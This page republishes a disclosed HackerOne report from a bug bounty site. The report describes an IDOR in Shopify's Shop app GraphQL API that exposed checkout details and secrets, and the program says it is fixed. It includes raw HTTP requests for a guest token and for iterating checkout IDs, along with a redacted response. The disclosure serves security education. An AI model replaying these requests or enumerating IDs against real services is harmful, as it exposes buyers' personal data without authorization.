Skip to content
IDOR Disclosed report Intermediate

Informations disclosure - Access to some checkout informations

An IDOR in the Shop app's GraphQL API allowed iterating checkout IDs to retrieve details including shipping addresses, limited to employee shops; a separate query exposed checkout secrets.

imgnotfound Follow

Originally disclosed on HackerOne

Medium 4.6 View original
  • Fixed in 46 hours
  • Paid in 17 days
  • Disclosed after 3 months

Summary by the program

On Dec 22nd, @francisbeaudoin reported an Insecure Direct Object Reference vulnerability on our Shop app. This issue could have allowed an attacker to iterate over checkout IDs created in the Shop app in order to obtain checkout details, including the shipping address. This only affected checkouts created within the Shop app for shops belonging to Shopify employees. We have fixed the issue by checking whether the user accessing the checkouts is the owner of them.

The report

It came to my attention that using the CheckoutStatus query on https://arrive-server.shopifycloud.com/graphql it is possible to access some checkout details, specifically the query can be called with an ID value ranging from 1 up to 48908.

Unfortunately, as I could not figure out how to create a new CheckoutStatus on my own, I won't be able to dig deeper. I've tried to create a new order on my own shops and when accessing the next ID (48909), it is still returning nothing.

That said, an explanation could either be that the CheckoutStatus query isn't used anymore thus only returning "legacy" orders or simply that the id property type has been changed from an Integer to an unpredictable one (i.e.: UUID).

Steps to reproduce

.1. Make the following request

POST /graphql HTTP/1.1
Host: arrive-server.shopifycloud.com
Accept: */*
If-None-Match: W/"9753ba99576a2d7d3e7e0331a16c5b8e"
Accept-Language: en-ca
Content-Type: application/json
Content-Length: 230
User-Agent: Shop/2.15.4-release+377 ios/14.2
Connection: close

{"operationName":"SignInAsGuest","variables":{},"query":"mutation SignInAsGuest {\n  signInAsGuest {\n    authPayload {\n      accessToken\n      refreshToken\n    }\n    userErrors {\n      field\n      message\n    }\n  }\n}\n"}

.2. From the returned payload, copy the accessToken value .3. Make the following request, by making sure to replace the {accessToken} placeholder with the previous step accessToken value

POST /graphql HTTP/1.1
Host: arrive-server.shopifycloud.com
Accept: */*
Authorization: Bearer {accessToken}
Accept-Encoding: gzip, deflate
If-None-Match: W/"5ebae03d57dd7da47f078e11e3cfc0db"
Accept-Language: en-ca
Content-Type: application/json
Content-Length: 348
User-Agent: Shop/2.15.4-release+377 ios/14.2
Connection: close

{"operationName":"CheckoutStatus","variables":{"id":"48805"  },"query":"query CheckoutStatus($id: ID!) {\n  checkoutStatus(id: $id) {\n    ... on Checkout {\n      id\n      isShopPay\n      payJsonParams\n      status\n      token\n      url\n      errorCode\n    }\n    ... on PollingInfo {\n      waitMillis\n      shouldRetry\n    }\n  }\n}\n"}

Response

{"data":{"checkoutStatus":{"id":"48805","isShopPay":true,"payJsonParams":"{\"transaction_params\":\"checkout_secret=███\\u0026encrypted_params=███\\u0026locale=en\",\"token\":\"█████████\",\"origin\":\"shop_app\",\"shopify_domain\":\"sunday-citizen.myshopify.com\",\"checkout_token\":\"████████\"}","status":"created","token":"████████","url":"https://shop.app/pay/session","errorCode":null}}}

By looking at the returned response, specifically the payJsonParams property, it should then be possible to access the checkout page as the checkout secret and token are being returned. Therefore, we should get access to the buyer's email and probably even more informations if the purchase has been completed.

Impact

Access to some checkout informations

The original report as published on HackerOne, by imgnotfound. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server did not verify that the authenticated user was the owner of the checkout being requested, allowing access to any checkout by its ID.

Impact

An attacker could access checkout details such as shipping addresses and checkout secrets/tokens, potentially leading to buyer information exposure.

What the attacker needed

A free account (guest sign-in); knowledge of checkout IDs

How it was found

  1. Send a GraphQL mutation to sign in as a guest and obtain an access token.
  2. Use the access token to send a CheckoutStatus query with a specific checkout ID.
  3. Observe that the response contains checkout details including payJsonParams with a checkout secret and token.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The Shop app's checkout system used simple numeric IDs. An IDOR allowed changing the number to see other checkouts' details, but this was limited to employee shops and has been fixed.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More by imgnotfound

View all

15 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.